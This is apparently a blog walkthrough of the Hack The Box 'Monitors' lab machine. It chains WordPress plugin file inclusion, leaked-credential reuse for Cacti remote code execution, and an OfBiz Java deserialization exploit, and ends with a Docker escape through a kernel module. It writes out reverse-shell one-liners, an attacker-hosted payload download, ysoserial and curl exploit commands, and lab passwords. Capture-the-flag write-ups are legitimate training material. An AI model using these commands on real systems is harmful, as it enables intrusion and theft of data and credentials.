Initial recon

Let’s start scan with running a nmap scan on all of the ports on the machine. Usually I run top 1000 ports and work on them while full scan is running, but let’s go all the way here.

sudo nmap -Pn -T4 -A --version-all 10.10.10.238 -p- -oA fullTCP

Nmap scan report for 10.10.10.238
Host is up (0.046s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From these - only HTTP port looks interesting, since we rarely can do something on the SSH port.

But we can still see at least if we can log in using password - it can become important information when gaining user access

imgSeems like we can login using either password or ssh key - good for us

Let’s focus on the HTTP server now.

imgAccessing the site using IP address

We see that we cannot access the site in that way, but there is a contact to the administrator that uses domain monitors.htb It is standard for HTB machines to use format
[MACHINE_NAME].htb for domains, so let’s add an entry to file hosts which will resolve that domain name to our local IP 127.0.0.1.

On Linux, that would be file /etc/hosts or in location C:\Windows\System32\drivers\etc\hosts if you are a Windows fan :)

Just add an entry
10.10.10.238 monitors.htb
somewhere in that file - need to be on separate new line.

Now we should be able to access the site with our browser by accessing using domain monitors.htb instead of direct IP address.

imgWe’re using domain name now

Seems like the site is running Wordpress, which is the most common CMS.

Let’s run content discovery on this site to find if there are any interesting resources on the site.
I’m using ffuf for that
ffuf -u http://monitors.htb/FUZZ -w wordlist.txt

As a wordlist, I use raft wordlists from https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content (concatenation of raft-large-directories-lowercase.txt and raft-large-files-lowercase.txt)

imgResults of ffuf - nothing out of ordinary besides typical Wordpress stuff

Exploiting Wordpress

When attempting to find vulnerability in Wordpress site, our go-to tool is almost always a WPScan. Account is necessary for the API token but it’s usage is straightforward.
Running it with
wpscan --url http://monitors.htb --api-token API_TOKEN --rua -o wpscan

You can look up all the options in help, --rua is just for using random User Agent header when sending requests, not necessary here.

In the results, we have some interesting things:

[+] Upload directory has listing enabled: http://monitors.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
...snip
[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
...snip
[+] wp-with-spritz
 | Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2015-08-20T20:15:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: WP with Spritz 1.0 - Unauthenticated File Inclusion
 |     References:
 |      - https://wpscan.com/vulnerability/cdd8b32a-b424-4548-a801-bbacbaad23f8
 |      - https://www.exploit-db.com/exploits/44544/
 |
 | Version: 4.2.4 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt

Directory listing is enabled in the uploads folder. Always worth checking it, in that case there does not seem to be anything at all.
img

Version of Wordpress is pretty new (5.5.1) - core has some vulnerabilities, but after looking at them, there are none for unauthenticated user which can be easily exploited.

That leaves us with the WP with Spritz vulnerability - it even has a link to exploit-db, it definitely looks like our way in.

It seems to be file inclusion vulnerability. Some Remote File Inclusion vulnerabilities in PHP allow us to include files with PHP code that will get included using include function and executed.

However in this code - we can see in the exploit-db snippet that file_get_contents function is used. That one will simply read the content of the file.
imgSnippet of source code

It seems that we can specify either a local or remote location that will be read.

Let’s start with classic /etc/passwd to see what users exist on the machine

imgContent of /etc/passwd

There is a marcus user with assigned shell - need to keep it in mind as probably it will be useful later on.

Now we can check if we have access to his directory at all, maybe there will be some interesting files there.
Typical test is reading .bashrc file as it should typically exist and be world-readable.

It’s preferable to read content of these files as source code in browser, reading it by curl/wget tools or by intercepting it with proxy like Burp Suite which is my choice.
If we are rendering these files as typical page, some content can be hidden from us because it will be treated as HTML tags.

imgContent of /home/marcus/.bashrc

If we can read .bashrc file - other files that can have some interesting information for us are usually

.ssh/known_hosts and .ssh/authorized_keys
.bash_history
.bash_profile
user.txt - we can also go for cheeky flag read :)

It seems we cannot read any of these files, so let’s leave that directory for now and look for other interesting files. If nothing interesting comes our way we can always go back here and search more.

Typically, Wordpress installation has interesting configuration files that can be read. One of them is wp_config.php. It should be near the root of the site, but we can find it by simply appending ../ to the file name until we find it.

imgContent of wp_config.php file

Here we have - database name, user and password as well as authentication keys and salts.

If you remember, during the nmap scan we did not find MYSQL port open, so it seems database is only accessible by localhost.
Therefore we cannot use these credentials BUT it is always worth it to try using that password and user to log in to other places.

Attempting login with SSH on port 22 using credentials marcus:[DB_PASSWORD] and to Wordpress account on http://monitors.htb/wp-login.php using wpadmin:[DB_PASSWORD] and admin:[DB_PASSWORD] credentials.

All of these attempts failed, so we are left with these authentication keys.

It seems it used to be possible to forge authentication cookie by using content of these keys and brute-force small character space to effortlessly login as admin (like here but it seems to be properly fixed dozens of years ago.

So we are left with searching for other interesting files in the filesystem. For starters, let’s use Linux LFI files list from here again using ffuf or simply Burp Suite Intruder tool.

ffuf -u http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php\?url=FUZZ -w ./lfi.txt -fs 0

Interesting content seems to be in the default apache config file - as there are non-default comments in there

imgContent of /etc/apache2/sites-enabled/000-default.conf

It discloses one extra config file name, which sets up a site on domain cacti-admin.monitors.htb. Adding it to the hosts file and going to see what is it.

imgSite hosted on http://cacti-admin.monitors.htb

Quick google search for this software version gives us a RCE vulnerability through SQL injection here.
It is authenticated though.

Now we just need to somehow log in with valid credentials. Remember credentials from wp-config.php ? Entering admin:BestAdministrator@2020! works and gives us access as the user.

Now just execute our exploit python3 cacti.py -t http://cacti-admin.monitors.htb -u admin -p "BestAdministrator@2020\!" --lhost <IP> --lport 4444 and we should get our reverse shell as a www-data.

Escalating www-data user

First thing I do with such a shell is using python t ogenerate a tty shell which works a bit better and allows us to see errors etc
python3 -c "import pty; pty.spawn('/bin/bash')"

imgOur user and listed network interfaces

Here we need to keep in mind we have different network interfaces connected and it seems docker is working here.

First bet would be to see what is stored in the database, and a basic enumeration using Linpeas script.

As we do not have either wget or curl here - let’s get linpeas on our server using python script python3 -c 'import urllib.request;urllib.request.urlretrieve("http://10.10.14.55:8888/linpeas.sh", "/tmp/linpeas.sh")'

Not much interesting things are shown here, but it looks like there is a service running on port 8443 on localhost.

In mysql database there is not much with our creds - just hash for an admin account but doesn’t seems that it can be easily found online, maybe we can attempt to crack it with hashcat if nothing else work.

Let’s manually go through the filesystem. There is an interesting directory .backup in /home/marcus location. We can enter there as it has executable permissions for all users, but wasn’t able to guess any filenames inside.

There is a /srv/gitlab directory with some files - there we can find a config/gitlab.rb file. Inside we have a password gitlab_rails['initial_root_password'] = "Sup3r_Adm1n15tr4t0r_p455w0rd". Maybe it will be useful for something.

Performing find find / -iname "*backup*" 2>/dev/null to see if there are any scripts that are performing backups. /etc/systemd/system/cacti-backup.service looks extra interesting.

$ cat /etc/systemd/system/cacti-backup.service
[Unit]
Description=Cacti Backup Service
After=network.target

[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh

[Install]
WantedBy=multi-user.target


$ cat /home/marcus/.backup/backup.sh
#!/bin/bash
backup_name="cacti_backup"
config_pass="<REDACTED>"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip

Using it as a marcus password works and we have user access!

Privilege escalation

There is a service running on local port 8443 that we noticed earlier. We can create a tunenl to our machine by using SSH like ssh marcus@10.10.10.238 -L 8443:127.0.0.1:8443.

Opening it locally in browser, by looking at the certificate - it seems to be issued for ofbiz-vm.apache.org. Little bit of googling and ofbiz seems to be some ERP system. App seems to be accessible by path /webtools

img/webtools view

No default credentials seem to work here. However there seems to be exploitable vulnerabilities on this version of software with metasploit modules available.

Attempting to exploit that with metasploit linux/http/apache_ofbiz_deserialization_soap module. However, no matter what module we choose, cannot achieve any kind of code execution which calls back to our host.

When enabling HTTPTrace option - we can see that in response to our payload, we receive error from the server
imgError when using metasploit module

Probably the vulnerability exist, but we cannot make use of the default payload that is generated using ROME library.

When attempting second metasploit exploit I get more non-sensible response with Exploit aborted due to failure: not-vulnerable: The target is not exploitable.

http://www.jackson-t.ca/runtime-exec-payloads.html - freaking gold to see if this works indeed.

Going into the rabbit hole

This will be a short journey where I did go atray from the exploit path - and while I learned a lot it was pretty unfortunate. As you can guess - after testing both of these exploits briefly, I was sure that the newest one is the path to victory as check was working. Let’s go and see why does this doesn’t work and how to make it.

I found commit that is responsible for fixing this issue here on 17.12 branch. Probably no blacklists on earlier versions, where POCs were written.

Class SafeObjectInputStream did not exist until 16.x branch that’s why all POCs work probably.

It hints at java.rmi.server class that can be used to exploit this issue through deserialization, looks like we should be able to do it that way. Now, I started how to execute code deserializing java.rmi.server

After some intensive research, I figured out there exist payloads JRMPClient and JRMPListener in ysoserial.
On the high-level, usage of these payloads goes like this. We create payload that is JRMPClient - whose only job is connecting back to the listener. Then we host JRMPListener on our host and make it host secondary payload (here it can be anything, as filters won’t be a problem here). Sending serialized object that is a JRMPClient to the application should force the application to call our listener. Here, the call is attempting to do something called distributed garbage collection - JRMPListener is able to cause an exception and deliver secondary payload through it. Best explanation how it is supposed to work for this usage is here straight from the author.

It took me some time to make it all work, however couldn’t quite get it to execute payload on the target machine. To see what exactly is wrong with this payload, decided it is time to build enviornment locally and see what is going on there.

Building ofbiz

Basic steps I took to build it locally were taken from here
I had to change gradle versions to newer ones in (gradle/wrapper/gradle-wrapper.properties) - changed to distribution to …/gradle-6.3-bin.zip Did it for both ofbiz-docker and ofbiz-framework.

If you encounter error java.lang.UnsupportedClassVersionError: at/bxm/gradleplugins/svntools/SvnToolsPlugin has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes cllass file versions up to 52.0 - necessary to downgrade version of this plugin. Downgrade at ofbiz-framework/build.gradle line at.bxm.gradleplugins:gradle-svntools-plugin:latest.release to at.bxm.gradleplugins:gradle-svntools-plugin:2.2.1

Additionally, i went into the repository of ofbiz-framework and checked out to the desired version - just did git log and searched for phrase 17.12.01 with search as in vim (just writing /17.12.01). Then performing git checkout 8ff603476a switches branch to the one with the same version as the target.

After building it and running - well it also did not work, the same as on the target server. Digging EVEN more into it, it seems the cause is too new Java version for this exploit to work out of the box. With introduction of the Java patch called JEP 290 there are some strict filters in place that prevent attacking directly with that exploit. To test it, I modified gradle build to install old version of Java. For this, had to use some other base image than JDK one (since they always download the newest Java) so just used ubuntu default image. In effect, beginning of my build.gradle file looked like that

...
//String BASE_JDK_IMAGE = "openjdk:8u020-jdk"
String BASE_JDK_IMAGE = "ubuntu:18.10"
String LOAD_DATA_READERS = "seed,seed-initial,demo,ext"

String IMAGE_NAME = "ofbiz-17.12.01-jdk8u45"

import com.bmuschko.gradle.docker.tasks.image.Dockerfile

repositories {
    mavenCentral()
}

task createOfbizDockerfile(type: Dockerfile) {
    from BASE_JDK_IMAGE
    label(["maintainer": MAINTAINER])
    //Install custom jdk
    runCommand(mkdir -p /opt/jdk")
    copyFile("/jdk-8u45.tar.gz", "/opt/jdk/jdk-8u45.tar.gz")
    runCommand("tar -zxf /opt/jdk/jdk-8u45.tar.gz -C /opt/jdk")
    runCommand("update-alternatives --install /usr/bin/java java /opt/jdk/jdk1.8.0_45/bin/java 100")
    runCommand("update-alternatives --install /usr/bin/javac javac /opt/jdk/jdk1.8.0_45/bin/javac 100")
...

Older version of java has to be downloaded locally, JEP 290 was introcuded in Java 8u121 so it has to be before that.

Building it and running - now we are able to exploit it locally!
However, whatever I did, could not make it work on the HTB machine. So onwards to bypassing JEP 290!

There is interesing blog and research here - skimming right through it, it looks excatly what we would like to do. So still, going deeper and attempting to find some ready-to-use source code or exact steps explanation. But there did not seem to be any decent one… It started to look like I would need to recreate that research, understanding everything what is going on from ground up. Even though I had inklings earlier maybe I’m digging myself into the rabbit hole this was the point. No way that something like this is going on here - heck it is starting to look crazy even for the Insane machine. At the same time, I was sure that it is the service to exploit so what now ?

Getting back on the track

Started going back again and again - when I double verified metasploit exploits info and started to wonder - why the older one CVE-2020-9496 did not work? Versions matched after all. Even though check failed - just got some PoC from github and checked if machine will perform any action. And well… it actually did. Just felt like a fool for digging so much into the other exploit, but have to say learnt a ton about Java deserialization.

On the way I discovered an extra handy website for properly encoding any payload to run as Java code. Instead of uploading files and executing them like in PoC, i just create a reverse shell payload in bash with bash -i >& /dev/tcp/IP/PORT 0>&1 and select Bash type on our wonderful site. Then the encoded payload can be inserted directly into the ysoserial tool.

Creating payload:

java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "ENCODED_PAYLOAD" | base64 | tr -d "\n"

Sending payload with curl:

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">GENERATED_PAYLOAD</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Now just listen on our host on target port and poof we should get a shell. Also we can see from java version that it is fairly new and has JEP 290 patch applied.
imgOur reverse shell

The great escape

Let’s start with the classic linpeas script to see if it shows anything interesting. Just keep in mind we are root here, so don’t pay attention to any local priv escalation techniques.

Mostly useless things, but there is one interesting output in relation to the docker.
imgContainer capabilities

About it - let’s also look through the docker escape checklist which is a great resource.

It all leads us to abusing extra capabilities. These are esentially extra permissions in linux - our interesting permissions allow us to have full filesystem access and isnerting kernel modules.

One of them - CAP_SYS_MODULE has a section with docker breakout by creating a kernel module with reverse shell.

We can simply go step-by-step with instruction and after issuing make command, we should have file reverse-shell.ko in our directory. Now just listening on the host as a marcus user and performing insmod reverse-shell.ko grants us reverse shell as a root.

It is useful to use instructions lsmod to list all kernel modules and rmmod to delete one if someone already installed it before us.

imgRoot access

All things considered - it was pretty fun and fairly easy box, at least if you do not stray from the path like me. Had an extra lesson about Java in this one but it is all about learning after all. Quite liked the approach with the vhost configuration file - realistic yet not really typical.